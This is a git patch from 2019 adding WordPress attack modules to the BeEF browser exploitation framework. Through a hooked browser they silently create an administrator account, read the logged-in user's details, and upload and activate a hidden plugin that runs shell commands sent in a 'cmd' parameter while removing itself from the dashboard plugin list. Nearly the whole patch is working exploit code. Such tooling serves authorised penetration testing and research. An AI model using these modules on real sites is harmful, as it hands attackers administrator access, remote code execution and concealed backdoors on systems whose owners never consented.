From 2f71b35f7ba19f9811dd30e1c97058418f0e1373 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Sat, 26 Oct 2019 14:19:18 +0200 Subject: [PATCH] Fixes & Improves & Adds WordPress stuff --- modules/misc/wordpress/add_user/command.js | 84 ++++++++++++++ modules/misc/wordpress/add_user/config.yaml | 19 +++ modules/misc/wordpress/add_user/module.rb | 36 ++++++ .../wordpress/current_user_info/command.js | 43 +++++++ .../wordpress/current_user_info/config.yaml | 16 +++ .../wordpress/current_user_info/module.rb | 10 ++ .../wordpress/upload_rce_plugin/beefbind.php | 35 ++++++ .../wordpress/upload_rce_plugin/command.js | 107 +++++++++++++++++ .../wordpress/upload_rce_plugin/config.yaml | 20 ++++ .../wordpress/upload_rce_plugin/module.rb | 35 ++++++ modules/misc/wordpress/wordpress_command.rb | 28 +++++ modules/misc/wordpress/wp.js | 109 ++++++++++++++++++ 12 files changed, 542 insertions(+) create mode 100644 modules/misc/wordpress/add_user/command.js create mode 100644 modules/misc/wordpress/add_user/config.yaml create mode 100644 modules/misc/wordpress/add_user/module.rb create mode 100644 modules/misc/wordpress/current_user_info/command.js create mode 100644 modules/misc/wordpress/current_user_info/config.yaml create mode 100644 modules/misc/wordpress/current_user_info/module.rb create mode 100644 modules/misc/wordpress/upload_rce_plugin/beefbind.php create mode 100644 modules/misc/wordpress/upload_rce_plugin/command.js create mode 100644 modules/misc/wordpress/upload_rce_plugin/config.yaml create mode 100644 modules/misc/wordpress/upload_rce_plugin/module.rb create mode 100644 modules/misc/wordpress/wordpress_command.rb create mode 100644 modules/misc/wordpress/wp.js diff --git a/modules/misc/wordpress/add_user/command.js b/modules/misc/wordpress/add_user/command.js new file mode 100644 index 000000000..c95e4fc22 --- /dev/null +++ b/modules/misc/wordpress/add_user/command.js @@ -0,0 +1,84 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore + + Original Author: Daniel Reece (@HBRN8). + Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +*/ + + +beef.execute(function() { + beef_command_url = '<%= @command_url %>'; + beef_command_id = <%= @command_id %>; + + // Adds wp.js to the DOM so we can use some functions here + if (typeof get_nonce !== 'function') { + var wp_script = document.createElement('script'); + + wp_script.setAttribute('type', 'text/javascript'); + wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(wp_script, theparent.firstChild); + } + + var create_user_path = '<%= @wp_path %>wp-admin/user-new.php'; + + /* + When there is an error (such as incorrect email, username already existing etc), + the response will be a 200 with an ERROR in the body + + When successfully created, it's a 302, however the redirection is followed by the web browser + and the 200 is served directly to the AJAX response here and we don't get the 302, + so we check for the 'New user created.' pattern in the page + */ + function check_response_for_error(xhr) { + if (xhr.status == 200) { + responseText = xhr.responseText; + + if ((matches = /ERROR<\/strong>: (.*?)<\/p>/.exec(responseText))) { + log('User Creation failed: ' + matches[1], 'error'); + } + else if (/New user created/.test(responseText)) { + log('User successfully created!', 'success'); + } + } + } + + function create_user(nonce) { + post( + create_user_path, + { + action: 'createuser', + '_wpnonce_create-user': nonce, + '_wp_http_referer': create_user_path, + user_login: '<%= @username %>', + email: '<%= @email %>', + first_name: '', + last_name: '', + url: '', + pass1: '<%= @password %>', + pass2: '<%= @password %>', + pw_weak: 'on', // Just in case + role: '<%= @role %>', + createuser: 'Add+New+User' + }, + function(xhr) { check_response_for_error(xhr) } + ); + } + + // Timeout needed for the wp.js to be loaded first + setTimeout( + function() { + get_nonce( + create_user_path, + '_wpnonce_create-user', + function(nonce) { create_user(nonce) } + ) + }, + 300 + ); + +}); + diff --git a/modules/misc/wordpress/add_user/config.yaml b/modules/misc/wordpress/add_user/config.yaml new file mode 100644 index 000000000..03ed6bc8b --- /dev/null +++ b/modules/misc/wordpress/add_user/config.yaml @@ -0,0 +1,19 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore +# +# Original Author: Daniel Reece (@HBRN8). +# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +# +beef: + module: + wordpress_add_user: + enable: true + category: Misc + name: WordPress Add User + description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed. + authors: ['Erwan LR'] + target: + working: ['ALL'] diff --git a/modules/misc/wordpress/add_user/module.rb b/modules/misc/wordpress/add_user/module.rb new file mode 100644 index 000000000..87b185632 --- /dev/null +++ b/modules/misc/wordpress/add_user/module.rb @@ -0,0 +1,36 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore +# +# Original Author: Daniel Reece (@HBRN8). +# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +# +require_relative '../wordpress_command' + +class Wordpress_add_user < WordPressCommand + def self.options + super() + [ + { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' }, + { 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join }, + { 'name' => 'email', 'ui_label' => 'Email', 'value' => '' }, + { 'name' => 'role', + 'type' => 'combobox', + 'ui_label' => 'Role', + 'store_type' => 'arraystore', + 'store_fields' => ['role'], + 'store_data' => [['administrator'], ['editor'], ['author'], ['contributor'], ['subscriber']], + 'value' => 'administrator', + 'valueField' => 'role', + 'displayField' => 'role', + 'mode' => 'local', + } + #{ 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' }, + # If one day optional options are supported: + #{ 'name' => 'url', 'ui_label' => 'Website:', 'value' => '' }, + #{ 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => '' }, + #{ 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => '' } + ] + end +end diff --git a/modules/misc/wordpress/current_user_info/command.js b/modules/misc/wordpress/current_user_info/command.js new file mode 100644 index 000000000..64a4a10db --- /dev/null +++ b/modules/misc/wordpress/current_user_info/command.js @@ -0,0 +1,43 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + Author @erwan_lr (WPScanTeam) - https://wpscan.org/ +*/ + + +beef.execute(function() { + beef_command_url = '<%= @command_url %>'; + beef_command_id = <%= @command_id %>; + + // Adds wp.js to the DOM so we can use some functions here + if (typeof get_nonce !== 'function') { + var wp_script = document.createElement('script'); + + wp_script.setAttribute('type', 'text/javascript'); + wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(wp_script, theparent.firstChild); + } + + var user_profile_path = '<%= @wp_path %>wp-admin/profile.php' + + function process_profile_page(xhr) { + if (xhr.status == 200) { + username = xhr.responseXML.getElementById('user_login').getAttribute('value'); + email = xhr.responseXML.getElementById('email').getAttribute('value'); + + log('Username: ' + username + ', Email: ' + email, 'success'); + } else { + log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error'); + } + } + + // Timeout needed for the wp.js to be loaded first + setTimeout( + function() { get(user_profile_path, function(response) { process_profile_page(response) }) }, + 300 + ); + +}); + diff --git a/modules/misc/wordpress/current_user_info/config.yaml b/modules/misc/wordpress/current_user_info/config.yaml new file mode 100644 index 000000000..013fb6598 --- /dev/null +++ b/modules/misc/wordpress/current_user_info/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Author @erwan_lr (WPscanTeam) - https://wpscan.org/ +# +beef: + module: + wordpress_current_user_info: + enable: true + category: Misc + name: WordPress Current User Info + description: Get the current logged in user information (such as username, email etc) + authors: ['Erwan LR'] + target: + working: ['ALL'] diff --git a/modules/misc/wordpress/current_user_info/module.rb b/modules/misc/wordpress/current_user_info/module.rb new file mode 100644 index 000000000..cc5dda314 --- /dev/null +++ b/modules/misc/wordpress/current_user_info/module.rb @@ -0,0 +1,10 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Author @erwan_lr (WPscanTeam) - https://wpscan.org/ +# +require_relative '../wordpress_command' + +class Wordpress_current_user_info < WordPressCommand +end diff --git a/modules/misc/wordpress/upload_rce_plugin/beefbind.php b/modules/misc/wordpress/upload_rce_plugin/beefbind.php new file mode 100644 index 000000000..a2b483705 --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/beefbind.php @@ -0,0 +1,35 @@ +items as $key => $val) { + if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); } + } +} +add_action('pre_current_active_plugins', 'hide_plugin'); + +// For Multisites +function hide_plugin_from_network($plugins) { + if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); } + + return $plugins; +} +add_filter('all_plugins', 'hide_plugin_from_network'); + +?> \ No newline at end of file diff --git a/modules/misc/wordpress/upload_rce_plugin/command.js b/modules/misc/wordpress/upload_rce_plugin/command.js new file mode 100644 index 000000000..2e0c35e0c --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/command.js @@ -0,0 +1,107 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + This is a rewrite of the original module misc/wordpress_post_auth_rce. + + Original Author: Bart Leppens + Rewritten by Erwan LR (@erwan_lr | WPScanTeam) +*/ + +beef.execute(function() { + beef_command_url = '<%= @command_url %>'; + beef_command_id = <%= @command_id %>; + + // Adds wp.js to the DOM so we can use some functions here + if (typeof get_nonce !== 'function') { + var wp_script = document.createElement('script'); + + wp_script.setAttribute('type', 'text/javascript'); + wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js'); + var theparent = document.getElementsByTagName('head')[0]; + theparent.insertBefore(wp_script, theparent.firstChild); + } + + var wp_path = '<%= @wp_path %>'; + var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload'; + var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin'; + + function upload_and_active_plugin(nonce) { + var boundary = "BEEFBEEF"; + + var post_data = "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"; + post_data += "\r\n"; + post_data += nonce + "\r\n"; + post_data += "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n"; + post_data += "\r\n" + upload_nonce_path + "\r\n"; + post_data += "--" + boundary + "\r\n"; + post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n"; + post_data += "filename=\"beefbind.zip\"\r\n"; + post_data += "Content-Type: application/octet-stream\r\n"; + post_data += "\r\n"; + post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>"; + post_data += "\r\n"; + post_data += "--" + boundary + "--\r\n" + + post_as_binary( + upload_plugin_path, + boundary, + post_data, + function(xhr) { + result = xhr.responseXML.getElementsByClassName('wrap')[0]; + + if (result == null) { + log('Could not find result of plugin upload in response', 'error'); + } + else { + result_text = result.innerText; + + if (/Plugin installed successfully/i.test(result_text)) { + //log('Plugin installed successfully, activating it'); + + // Get URL to active the plugin from response, and call it + //
...Activate Plugin + + activation_tag = result.getElementsByClassName('button-primary')[0]; + + if (activation_tag == null) { + log('Plugin installed but unable to get activation URL from output', 'error'); + } + else { + activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href'); + + get(activation_path, function(xhr) { + result_text = xhr.responseXML.getElementById('message').innerText; + + if (/plugin activated/i.test(result_text)) { + log('Plugin installed and activated!', 'success'); + } + else { + log('Error while activating the plugin: ' + result_text, 'error'); + } + }); + } + } + else { + log('Error while installing the plugin: ' + result_text, 'error'); + } + } + } + ); + } + + // Timeout needed for the wp.js to be loaded first + setTimeout( + function() { + get_nonce( + upload_nonce_path, + '_wpnonce', + function(nonce) { upload_and_active_plugin(nonce) } + ) + }, + 300 + ); +}); + diff --git a/modules/misc/wordpress/upload_rce_plugin/config.yaml b/modules/misc/wordpress/upload_rce_plugin/config.yaml new file mode 100644 index 000000000..d4a50b57a --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/config.yaml @@ -0,0 +1,20 @@ +# +# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + wordpress_upload_rce_plugin: + enable: true + category: Misc + name: WordPress Upload RCE Plugin + description: | + This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard. + Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php, + and the command to execute can be send by a POST-parameter named 'cmd'. + However, there are more stealthy ways to send the POST request to execute the command, depending on the target. + CORS headers have been added to allow bidirectional crossdomain communication. + authors: ['Bart Leppens', 'Erwan LR'] + target: + working: ['ALL'] diff --git a/modules/misc/wordpress/upload_rce_plugin/module.rb b/modules/misc/wordpress/upload_rce_plugin/module.rb new file mode 100644 index 000000000..b6a203630 --- /dev/null +++ b/modules/misc/wordpress/upload_rce_plugin/module.rb @@ -0,0 +1,35 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# This is a rewrite of the original module misc/wordpress_post_auth_rce. +# +# Original Author: Bart Leppens +# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) +# + +require_relative '../wordpress_command' + +class Wordpress_upload_rce_plugin < WordPressCommand + # Generate the plugin ZIP file as string. The method is called in the command.js. + # This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated + # even when the module is used with automated rules + def self.generate_zip_payload + stringio = Zip::OutputStream::write_buffer do |zio| + zio.put_next_entry("beefbind.php") + zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php'))) + end + + stringio.rewind + + payload = stringio.sysread + escaped_payload = '' + + # Escape payload to be able to put it in the JS + payload.each_byte do |byte| + escaped_payload << "\\" + ("x%02X" % byte) + end + + escaped_payload + end +end diff --git a/modules/misc/wordpress/wordpress_command.rb b/modules/misc/wordpress/wordpress_command.rb new file mode 100644 index 000000000..d432b4410 --- /dev/null +++ b/modules/misc/wordpress/wordpress_command.rb @@ -0,0 +1,28 @@ +# +# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ +# + +class WordPressCommand < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js') + end + + # If we could retrive the hooked URL, we could try to determine the wp_path to be set below + def self.options + [ + { 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' } + ] + end + + # This one is triggered each time a beef.net.send is called + def post_execute + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('wp.js') + + return unless @datastore['result'] + + save({ 'result' => @datastore['result'] }) + end +end diff --git a/modules/misc/wordpress/wp.js b/modules/misc/wordpress/wp.js new file mode 100644 index 000000000..248f13356 --- /dev/null +++ b/modules/misc/wordpress/wp.js @@ -0,0 +1,109 @@ +/* + Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com + See the file 'doc/COPYING' for copying permission + + Author @erwan_lr (WPScanTeam) - https://wpscan.org/ +*/ + +// Pretty sure we could use jQuery as it's included by the hook.js +// Also, could have all that in as WP.prototype ? + +function log(data, status = null) { + if (status == 'error') { status = beef.are.status_error(); } + if (status == 'success') { status = beef.are.status_success(); } + + beef.net.send(beef_command_url, beef_command_id, data, status); + beef.debug(data); +}; + +function get(absolute_path, success) { + var xhr = new XMLHttpRequest(); + + xhr.open('GET', absolute_path); + xhr.responseType = 'document'; + + xhr.onerror = function() { log('GET ' + absolute_path + ' could not be done', 'error'); } + + xhr.onload = function() { + //log('GET ' + absolute_path + ' resulted in a code ' + xhr.status); + + success(xhr); + } + + xhr.send(); +} + +function post(absolute_path, data, success) { + var params = typeof data == 'string' ? data : Object.keys(data).map( + function(k){ return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]) } + ).join('&'); + + var xhr = new XMLHttpRequest(); + + xhr.open('POST', absolute_path); + xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); + + xhr.onerror = function() { log('POST ' + absolute_path + ' could not be done', 'error'); } + + xhr.onload = function() { + //log('POST ' + absolute_path + ' resulted in a code ' + xhr.status); + + success(xhr); + } + + xhr.send(params); +} + +function post_as_binary(absolute_path, boundary, data, success) { + var xhr = new XMLHttpRequest(); + + // for WebKit-based browsers + if (!XMLHttpRequest.prototype.sendAsBinary) { + XMLHttpRequest.prototype.sendAsBinary = function (sData) { + var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); + + for (var nIdx = 0; nIdx < nBytes; nIdx++) { + ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; + } + /* send as ArrayBufferView...: */ + this.send(ui8Data); + }; + } + + xhr.open('POST', absolute_path); + xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary ); + + xhr.responseType = 'document'; + + xhr.onerror = function() { log('POST (Binary)' + absolute_path + ' could not be done', 'error'); } + + xhr.onload = function() { + //log('POST (Binary) ' + absolute_path + ' resulted in a code ' + xhr.status); + + success(xhr); + } + + xhr.sendAsBinary(data); +} + +function get_nonce(absolute_path, nonce_id, success) { + get(absolute_path, function(xhr) { + if (xhr.status == 200) { + var nonce_tag = xhr.responseXML.getElementById(nonce_id); + + if (nonce_tag == null) { + log(absolute_path + ' - Unable to find nonce tag with id ' + nonce_id, 'error'); + } + else { + nonce = nonce_tag.getAttribute('value'); + + //log('GET ' + absolute_path + ' - Nonce: ' + nonce); + + success(nonce); + } + } else { + log('GET ' + absolute_path + ' - Status: ' + xhr.status, 'error'); + } + }); +} +